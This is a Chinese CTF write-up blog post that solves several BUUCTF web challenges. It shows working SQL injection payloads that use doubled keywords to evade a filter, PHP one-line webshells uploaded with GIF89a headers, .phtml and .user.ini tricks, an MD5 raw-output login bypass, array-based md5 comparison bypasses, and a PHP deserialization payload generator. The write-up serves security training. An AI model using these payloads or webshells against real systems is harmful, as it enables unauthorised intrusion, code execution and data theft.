buuctf 刷题记录

极客大挑战 2019BabySQL

先尝试万能密码报错,然后发现存在waf过滤了好多关键字,比如or, select,where, union。应该是用函数replace给我们替换成了空白字符

因此只能靠联合查询来进行判断

复制代码
?username=admin&password=admin' uunionnion sselectelect 1,2,3%23

出现回显

复制代码
Hello 2!
Your password is '3'

现在开始查表

复制代码
?username=admin&password=admin' uunionnion sselectelect 1,2,group_concat(table_name)ffromrom infoorrmation_schema.tables wwherehere table_schema=database()%23

发现存在两个表

复制代码
b4bsql,geekuser

再查字段

复制代码
?username=admin&password=admin' uunionnion sselectelect 1,2,group_concat(column_name)ffromrom infoorrmation_schema.columns wwherehere table_name='b4bsql'%23

发现三个字段

复制代码
id,username,password

然后开始爆破数据

复制代码
?username=admin&password=admin' uunionnion sselectelect 1,2,group_concat(passwoorrd)ffromrom b4bsql%23

拿到flag

flag{6850c17d-4853-4d25-8a8d-844239f20329}

极客大挑战 2019LoveSQL

尝试万能密码,登录成功,观察url是get方式在传参,开始测试直到order by 4报错,说明有三个字段,接着找注入点

复制代码
?username=1' union select 1,2,3%23&password=ads

发现2和3都是而且没过滤

复制代码
?username=1' union select 1,database(),3%23&password=ads

得到数据库名:geek!

复制代码
?username=1' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database()%23&password=ads

得到表名geekuser,l0ve1ysq1

复制代码
?username=1' union select 1,database(),group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1'%23&password=ads

得到字段名id,username,password

复制代码
?username=1' union select 1,database(),group_concat(id,username,password) from l0ve1ysq1%23&password=ads

flag{34051198-4699-460b-bdf1-732d22594df3}

ACTF2020 新生赛Upload

首先尝试上传php的一句话木马,发现有前端验证,使用burp修改为png尝试绕过,发现后端还有验证,使用.phtml进行绕过,使用GIF89a头防过滤

复制代码
GIF89a  
<script language='php'>@eval($_POST['ye']);</script>
<script language='php'>system('cat /flag');</script>

burp回显给出上传到的地址

访问/uplo4d/b284530b9d2636c66a4e6f32315ccac3.phtml得到flag

flag{3667cb31-3517-4b67-8513-2731ce9d2279}

BJDCTF2020Easy MD5

抓包发现

复制代码
Hint:select * from 'admin' where password =md5($pass,ture)

看了大佬的博客这里可以用ffifdyop满足条件

ffifdyop 这个字符串被 md5 哈希了之后会变成 276f722736c95d99e921722cf9ed621c,这个字符串前几位刚好是 ' or '6

而 Mysql 刚好又会把 hex 转成 ascii 解释,因此拼接之后的形式是 select * from 'admin' where password='' or '6xxxxx',等价于 or 一个永真式,因此相当于万能密码,可以绕过md5()函数。

进入下一关查看源码发现

复制代码
<!--
$a = $GET['a'];
$b = $_GET['b'];

if($a != $b && md5($a) == md5($b)){
    // wow, glzjin wants a girl friend.
-->

用数组绕过,payload

复制代码
?a[]=1&b[]=2

进入下一关

复制代码
<?php
error_reporting(0);
include "flag.php";

highlight_file(__FILE__);

if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
    echo $flag;
}

典型的md5碰撞,还是用数组绕过

复制代码
param1[]=1&param2[]=2

flag{64bd4d41-6222-4ac8-acb1-0d3f8e3363fc}

网鼎杯 2020 青龙组AreUSerialz

复制代码
<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

首先看有没有魔术方法

**__construct() ** 实例化对象时被调用
__destruct() 当删除一个对象或对象操作终止时被调用

进行代码审计

复制代码
public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

满足对象op=2,执行read读的操作

复制代码
private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

满足content<100,即可绕过

复制代码
function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

利用ord函数 返回 "S" 的 ASCII值 s为字符串类型 S为16进制字符串数据类型,绕过方式%00转换为\00即可绕过

复制代码
if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

将str参数放入到自定义函数is_valid里面进行反序列化操作

构造payload

复制代码
<?php
  class FileHandler {
  protected $op = 2;
  protected $filename ='flag.php';         
 //题目中包含flag的文件
protected $content;

}
$bai = urlencode(serialize(new FileHandler)); 
//URL编码实例化后的类FileHandler序列化结果
$mao =str_replace('%00',"\\00",$bai);    
//str_replace函数查找变量bai里面的数值%00并将其替换为\\00
$mao =str_replace('s','S',$mao);         
//str_replace函数查找变量mao里面的数值s并将其替换为S
echo $mao                                               
//打印结果
?>

?str=O%3A11%3A%22FileHandler%22%3A3%3A%7BS%3A5%3A%22\00%2A\00op%22%3Bi%3A2%3BS%3A11%3A%22\00%2A\00filename%22%3BS%3A8%3A%22flag.php%22%3BS%3A10%3A%22\00%2A\00content%22%3BN%3B%7D

查看源码得到flag

flag{8f87cbd5-428b-42b8-8534-a80b463d4609}

SUCTF 2019CheckIn

上传含有一句话木马的 jpg、png、gif 图片均回显 <? in contents,

复制代码
<script language=php>eval($_POST['1']);</script>

成功过滤<? ,发现题目还用exif_imagetype() 函数 对上传文件后缀进行了限制,那么在前面加上GIF89a头进行绕过

复制代码
GIF89a
<script language=php>eval($_POST['1']);</script>

由于无法解析再上传一个user.ini

复制代码
GIF89a                          
auto_prepend_file=b.gif

然后即可rce拿到flag

ACTF2020 新生赛BackupFile

dirsearch扫出来index.php.bak下载下来

复制代码
<?php
include_once "flag.php";

if(isset($_GET['key'])) {
    $key = $_GET['key'];
    if(!is_numeric($key)) {
        exit("Just num!");
    }
    $key = intval($key);
    $str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
    if($key == $str) {
        echo $flag;
    }
}
else {
    echo "Try to find out source file!";
}

由于if(!is_numeric($key))这一步会只保留数字,而且后面是弱类型比较,当字符串和数字进行比较的时候会只保留字符串的数字部分进行比较,那么$str的值就为123,那么当key=123的时候即可通过

复制代码
?key=123

flag{d4b259ef-6432-4c6c-be5a-ef59414ee189}

相关推荐
m0_547486667 小时前
《信息安全基础》全套PPT课件2026
网络安全·信息安全
m0_715674438 小时前
数据分类分级的范式转换:从规则匹配到场景化高准确率一键部署
大数据·网络·人工智能·网络安全
白帽攻防录17 小时前
SRC 挖洞:Apache APISIX 非规范路径授权绕过深度复盘,CVE-2026-94269 怎么绕过网关访问后端
网络安全·apache·src漏洞挖掘
学逆向的1 天前
win32注入代码
开发语言·网络安全·api·win32
Web Security Loop1 天前
MAC安装最新Burpsuite pro详细步骤教程
web安全·macos·网络安全·安全性测试
墨云安全1 天前
红队评估和渗透测试的区别是什么?2026 年从目标、方法到交付物的对比
网络·安全·web安全·网络安全·渗透测试
刘婉晴2 天前
【APP安全测试】Frida 基础
网络安全
科技象限2 天前
数据防泄密系统怎么选?看它怎么把几道防线叠成网
运维·安全·网络安全·安企神
sbjdhjd2 天前
云安全 | 从特权容器到旧版 runC:Docker 宿主机访问与运行时缺陷复盘
运维·网络安全·docker·云原生·kubernetes·云计算·云安全
sbjdhjd2 天前
云安全 | Docker 容器逃逸复盘(三):docker.sock 挂载与 Docker-in-Docker 风险
经验分享·网络安全·docker·云原生·容器·kubernetes·云安全